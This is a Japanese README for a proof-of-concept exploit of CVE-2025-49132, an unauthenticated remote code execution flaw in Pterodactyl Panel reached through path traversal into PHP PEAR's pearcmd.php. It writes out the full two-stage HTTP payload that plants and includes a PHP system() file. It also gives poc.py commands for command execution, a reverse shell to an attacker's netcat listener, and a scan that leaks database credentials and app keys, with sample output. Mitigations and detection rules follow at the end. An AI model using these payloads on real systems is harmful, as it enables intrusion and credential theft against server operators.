
CVE-2025-49132_PHP_PEAR_METHOD
このリポジトリには、CVE-2025-49132 の概念実証(PoC)エクスプロイトが含まれています。これは、Pterodactyl Panel バージョン 1.11.11 未満における重大な未認証リモートコード実行の脆弱性です。
Pterodactyl Panel は、PHP で構築された無料のオープンソースゲームサーバー管理パネルです。この脆弱性により、未認証の攻撃者が /locales/locale.json エンドポイントの不適切な処理と PHP PEAR の pearcmd.php 機能を組み合わせて、対象サーバー上で任意のシステムコマンドを実行できるようになります。
PHP PEAR(PHP Extension and Application Repository)は、再利用可能な PHP コンポーネントのためのフレームワークおよび配布システムです。PEAR パッケージを管理するために使用できるコマンドラインツール(pearcmd.php)を提供します。
pearcmd.php ファイルは URL パラメータを通じてコマンドを処理し、パストラバーサルと組み合わせることで、以下の目的に悪用される可能性があります:
この脆弱性は、以下の理由で存在します:
/locales/locale.json の locale パラメータは、適切な検証なしにパストラバーサルを許可しますpearcmd.php スクリプトは、任意の PHP ファイルを書き込める +config-create コマンドを受け入れます攻撃者は以下を行うことができます:
config-create コマンドを悪用して悪意のある PHP コードを /tmp に書き込むエクスプロイトは 2 つの段階で機能します:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
内訳:
+config-create+/ - PEAR の設定作成機能を呼び出しますlocale=../../../../../../usr/share/php/PEAR - PEAR ディレクトリへのパストラバーサルnamespace=pearcmd - pearcmd.php ファイルを対象とします<?=system('id')?>+/tmp/payload.php - PHP ペイロードと出力先ファイルGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
内訳:
locale=../../../../../../tmp - /tmp ディレクトリへのパストラバーサルnamespace=payload - payload.php をインクルードして実行しますエクスプロイトでは、URL 内の特殊文字(<、>、?、=)をエンコードせずに送信する必要があります。これらの文字が URL エンコードされている場合:
<?=system('id')?> は %3C%3F%3Dsystem%28%27id%27%29%3F%3E になりますgraph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6bsequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCErequests ライブラリgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
または手動で:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# On attacker machine, start listener
nc -lvnp 4444
# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
設定情報の漏洩(データベース認証情報、アプリキー)を介して CVE-2025-49132 をチェックします。
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
詳細な進行状況(ペイロード作成、PEAR パス、実行ステータス)を表示します。
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Target host (e.g., 192.168.1.100 or example.com)
-c COMMAND Command to execute on target system
-r REVERSE_SHELL Reverse shell (format: LHOST:LPORT)
--shell Interactive pseudo-shell mode
--fuzz Fuzz for PEAR installation paths
--scan Scan target for vulnerability (config leaks)
-p PEAR_PATH Custom PEAR path (default: /usr/share/php/PEAR)
-e ENDPOINT Vulnerable endpoint (default: /locales/locale.json)
--ssl Use HTTPS
--timeout TIMEOUT Request timeout in seconds (default: 10)
-v, --verbose Verbose progress output
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
詳細な出力(ペイロードの詳細、PEAR パスなど)を表示するには -v を使用してください。
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...
# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] Make sure your listener is running: nc -lvnp 4444
# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] Found 3 potential PEAR installation(s):
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation
パスごとのファジングの進行状況を確認するには -v を使用してください。
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
Host: 127.0.0.1
Port: 3306
Database: panel
Username: pterodactyl
Password: ********
Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
App Key: base64{...}
[!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132
Pterodactyl Panel を更新する
cd /var/www/pterodactyl
php artisan p:upgrade
バージョン 1.11.11 以降に更新してください。
脆弱なエンドポイントを無効化する(一時的な回避策)
Web サーバーの設定に以下を追加してください:
Apache (.htaccess):
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx:
location ~* /locales/locale\.json {
deny all;
return 403;
}
注記: これによりローカライズ機能が動作しなくなります。
Web アプリケーションファイアウォール(WAF)
パストラバーサルの試行をブロックする WAF ルールを実装してください:
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale パラメータと namespace パラメータに対して厳格な検証を実装するrealpath() を使用してファイルパスを解決および検証するログ分析 - 不審なパターンを探します:
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
IDS/IPS シグネチャ:
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
教育および許可されたテスト目的にのみ使用してください
この概念実証エクスプロイトは、教育目的および許可されたセキュリティテストのためだけに提供されます。作者は、このプログラムの誤用またはそれによって引き起こされた損害について一切の責任を負いません。
コンピュータシステムへの不正アクセスは違法です。 ユーザーは、適用法および規制への準拠を確実にする責任があります。
xffsec
| 連絡先 |
|---|
| GitHub: @xffsec |
| Email: [email protected] |
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
貢献、問題報告、機能リクエストを歓迎します! お気軽に Issue を開くか、プルリクエストを送信してください。
⚠️ 注意: 常に責任ある開示を実践し、適切な許可なしに脆弱性を悪用しないでください。